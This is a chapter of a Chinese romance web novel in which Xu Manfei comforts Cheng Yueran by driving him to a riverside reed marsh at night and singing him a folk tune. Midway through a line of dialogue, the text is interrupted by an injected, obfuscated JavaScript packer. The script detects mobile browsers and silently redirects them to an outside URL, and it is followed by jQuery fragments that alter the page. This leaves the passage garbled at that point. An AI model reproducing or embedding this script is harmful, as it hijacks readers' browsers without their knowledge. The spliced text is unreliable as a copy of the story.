待季清林的车接到许曼菲，从机场驶向栖云山庄时，已是深夜。


    电话中提到，负责照顾程越冉日常生活的兰姨、管家以及几位佣人已在门口等候多时。季清林是偷偷联系许曼菲的，此刻自觉不便露面，待她安全抵达后，便驾车离去。


    许曼菲则因为深夜到访还如此兴师动众，心里感到有些过意不去，可兰姨却笑容温和，和蔼地摇了摇头，反倒关心起她是否用过餐，肚子饿不饿，路上是不是多有劳累，有没有不舒服云云，叫许曼菲觉得很是窝心。知道她是因何而来，兰姨便引了她往别墅三楼的书房去了。


    一路上，入目皆是华贵却并不繁复，对于别墅主人的品味，早在那座市郊七星级酒店的大堂里，她就已经深刻领略过了。


    行在挑高的气派客厅里，许曼菲想到的是那晚他在春城车上曾说过的那句：住在哪里有什么所谓？如果只是一个人，家或是酒店，其实并没有太大的区别……现如今这样看来，确实华丽也“冰冷”的毫无区别。


    梅姨敲了敲书房门，没有得到任何回应，许曼菲同她对视一眼，梅姨慈祥的面上露出了无奈的淡笑，朝许曼菲点点头，她按着把手推开了门。


    书房漆黑一片，没有开灯。借着走廊上的光，率先落入许曼菲眼里的，是墙上一幅装裱画，大片的雪白衬纸上，只零星几片桃花瓣。它们被精心地收集保存起来，制成了干花，花瓣依旧泛着淡淡的粉色，像是刻意要留住那初春桃花落尽前，最后一幕的粉嫩娇红。


    许曼菲心生好奇，却无意探究，只因此刻，她还有更重要的事情要做。


    “三少爷～”兰姨开口，屋内静悄悄的，仿佛没有人在。


    “许小姐，来了…”


    话音刚落，室内终于有了点声响，壁灯暖黄色的光亮起一盏，面朝着落地窗的程越冉回过神，缓缓转身时，入目是女孩儿那张蹙着眉的小脸，亦如二人分别时，她装睡的模样，抖动着的睫毛，不很踏实。


    “你怎么来了？”他眼里略有惊讶，声音沙哑却很温柔。


    许曼菲目送兰姨退了两步闭门出去，她斟酌着开口：“我，看到了集团发布的公告……”


    程越冉微微扯唇，脚步未动却已向她伸出了手。当许曼菲靠近时，他稍稍用力，将她扯进了怀里。


    “抱歉，还说等你回来的时候，要去机场接你，结果却放你一个人过来……会不会很辛苦？”她耳边传来男人温润的嗓音，带了些心安落地的喟叹。


    许曼菲窝在他怀里摇了摇头：“为什么道歉，这不是你的问题。”


    原本靠在桌边的程越冉直起身，双臂收拢，将她搂得更紧。半开着的窗前，一缕夜风穿纱而过，送来她身上柑橘般的淡淡芬芳，恬淡却纯净，不张扬，却能慢慢渗透进他的心，沁入肺腑。


    “曼菲…”他轻轻开口，声音是难得的感性，“好想你，能在这里见到你，我很开心…”


    难得听他这样直抒胸臆的表达，许曼菲想缓和他此刻看似低迷的心情，虽然他掩饰的很好。


    她小声问他：“有多开心？”


    “嗯……大概就是，前一秒还盘旋在脑海中又挥之不去的可人儿，下一刻已经俏生生地站在了你面前，这种触手可及的感觉，我形容不好，像是得偿所愿，梦想成了真的惊喜~”


    说话的时候，他的薄唇有意无意地扫过她耳后的皮肤，带着酥酥麻麻的触感，像过了电，可书房里的气氛分明不是旖旎，甚至有些难以言喻的低迷。


    程越冉感慨道：“曼菲，再为我唱一曲江南小调吧？像是春城帘下落雨的那回一样，我喜欢听你唱……”程越冉少有的恳求出声。


    许曼菲认真思考了一会儿，摇摇头说：“不要…”


    被无情拒绝的程越冉并未坚持，他放松下来的肩膀自然舒展，淡淡勾唇问她：“季清林费那么大功夫把你弄来，难道不是为了让你安慰安慰我吗？”


    进门半天，她分明只字未提旁人，可面前的男人，偏偏就能一语中的，猜得八九不离十，这样厉害的人，许曼菲真的很难想象需要她怎么安慰。


    她面露讶色，故意道：“各项技能buff叠满的大Boss，还需要我这小小的画师提点吗？讲道理的事情，我哪有你们懂，班门弄斧的事儿，我可不干！再说了，艾琳曾经不止一次的吐槽过，成年人最愚蠢的行为，就是不停的和别人讲道理！”


    她皱了皱鼻子的样子叫程越冉忍不住轻轻捏了捏她的脸。


    还未等他有下一步动作，许曼菲已经向他摊开了手掌心。


    “车钥匙？”


    果不其然，程越冉疑惑地看向她。


    “走，带你去个地方！”许曼菲歪头甜笑起来的模样，美好到直触他内心最柔软的部分。


    被她半拉半拽着步入车库，一排豪车面前，她独独挑了辆底盘最高的“大家伙”，手握钥匙的许曼菲拉着程越冉的手，将他推进副驾驶，关门前还不忘霸气地丢下一句：“把这些全都抛在脑后，跟我走！”


    发动车子，调整后视镜和座椅，一脚油门转动方向盘，许曼菲这套动作做得行云流水，一气呵成，熟稔到俨然就是个老司机。


    单手支着脑袋，坐在副驾驶的程越冉看在眼里，他甚至有些好笑地想，之前为什么会有，她若是不会开车，自己其实可以帮她配个司机这样荒谬的想法？！


    SUV稳稳行在高速路上，出城的方向。


    车内放着舒缓的音乐，许曼菲将窗户降下，两旁路灯的光线缀映在她姣好的面上。退却了白日燥热的夜风温和地吹起她颊边的长发，几缕在窗边肆无忌惮地飘飞起来，洒脱不羁，很像此刻的她。


    混合了柑橘的清甜香味瞬间盈满了整个车厢，程越冉拨了拨被风吹乱的头发，深吸一口气，这几天一直憋闷着的心绪，终于得到了一些释放，好像每每只要她一出现，他的世界哪怕上一秒还是阴雨绵绵，下一刻便雨过天晴，然后就有一弯彩虹出现，在春城是，在宁城也是……


    夜幕深沉，繁华的都市变得静谧而神秘，熠熠高楼，成为天际边一抹模糊的虚影，无垠星空下，只有起起伏伏的江水拍打在岸边，伴着潮汐月升月落。


    许曼菲自芦苇荡边拔了两根细长芦苇，一回头，不远处那个名声在外的男人，退却了平日里的意气风发，此刻身着简单的白色衬衣，双手环胸靠在车尾注视着远方，安静得像是个初出茅庐的稚嫩青年。


    风掀起他额前发梢，夜色如浓稠的墨砚，深沉到久化不开。


    “我以为，你会带我去游乐场之类的地方，送我颗糖果，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14849286|159270||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    或者拉着我去旋转木马前拍照，在摩天轮上亲吻……”程越冉察觉到许曼菲的视线，同她玩笑道。


    “然后在车厢运行到顶端的那一刻，牵着你的手，告诉你说，不要难过，至少还有我之类的话？”许曼菲问，继而她撇撇嘴，嫌弃道：“这不是男人追小姑娘的戏码吗？而且，略显老套了！”


    “看来这套小把戏对我们菲菲而言，是行不通了！”


    他面露霁色的模样在月光的映衬下，显得颇为英俊，如画的眉目中透露出浓浓的英气，男色惑人，当是如此了。


    许曼菲收回看他的视线，做沉思状：“若说是别人，我没有兴趣，不过，倘若是程先生，怎样都好～”


    她一手捋过长发，明眸善睐，笑起来的眼睛里是对他毫无理由的格外偏爱，这让他一瞬间有了些得偿所愿后的心动难耐。


    程越冉曾以为，爱情这种随机又虚无缥缈的东西，抓不住，得不到其实很正常，可是，原来爱也可以有很具象的画面，正如现在这般，面前女孩分明是想让他开心，却只字不提要哄他的事，一个人从春城飞回宁城，马不停蹄地赶来已是深夜，安慰的话偏就一句不讲，还振振有词地说，在他面前讲道理就是班门弄斧，可她又在用自己喜欢，彼此又都觉得舒心的方式在表达，在让他开心，在对他好……


    也直到此刻，他才恍然惊觉，面对这段感情，他本不该将自己视为强者把主动权牢牢掌握在自己手里，又理所应当的把她当成需要保护的对象，是他有义务包容和忍耐的弱者，她从来都是一个有思想，有深度，聪明又独立的个体，她正以她的方式，在逐渐向他靠近，这种双向奔赴的相处模式，不讲条件，也没有保留，平等且彼此尊重，所以，他们在一起的时候总是那么轻松，自在。


    许曼菲坐在后备箱的座椅上，细数无垠夜空中的点点繁星，月光如水，洒在芦苇荡上，萤火虫在其间翩然飞舞，她晃着手里长长的芦苇杆，扭头看一眼身边的程越冉，他面容温和也在看她，潋着光的眼睛仿若星辰入目，此刻安静又沉默的不知道在想些什么……


    程越冉双手插兜依在她的身边，许曼菲递过一根芦苇却顺势被他攥住了手，那伸过来抚摸她面颊的掌心温热又柔软，带着他身上独有的淡香，暖暖的很有安全感。


    许曼菲自顾自地想，古人有云：“白昼闻香，其香仅在口鼻。黄昏嗅味，其味直入梦魂。”此刻，二人身处江边野外，哪来帐内焚香这种风雅事，可有他在身边，深嗅其味入梦倒是颇有雅趣的！


    她忍不住就着他的手心蹭了蹭，又蹭了蹭，像只贪图他气息的小妖精。


    今夜，程越冉的话很少，可也只有许曼菲知道，他其实一点都不脆弱，只是需要些时间，再强悍的人，偶尔也会想要逃离，找个借口，做个梦再发发呆……


    暑热散去，星子齐出，萤火虫闪烁着微弱的光芒，眼前这片宽广的芦苇荡向着远方延伸，似乎与天际线相连，江面浩渺无际，芦苇随着夜风轻轻摇曳。


    许曼菲摇起手间长长的杆子，轻轻唱起那曲他想听的小调：


    秋色几许，不及那日初见她漫步桥下头。


    桃花琳琅，她执一株。


    浮华远香，他缓提笔于月下描摹成诗。


    明月垂首，相思难书。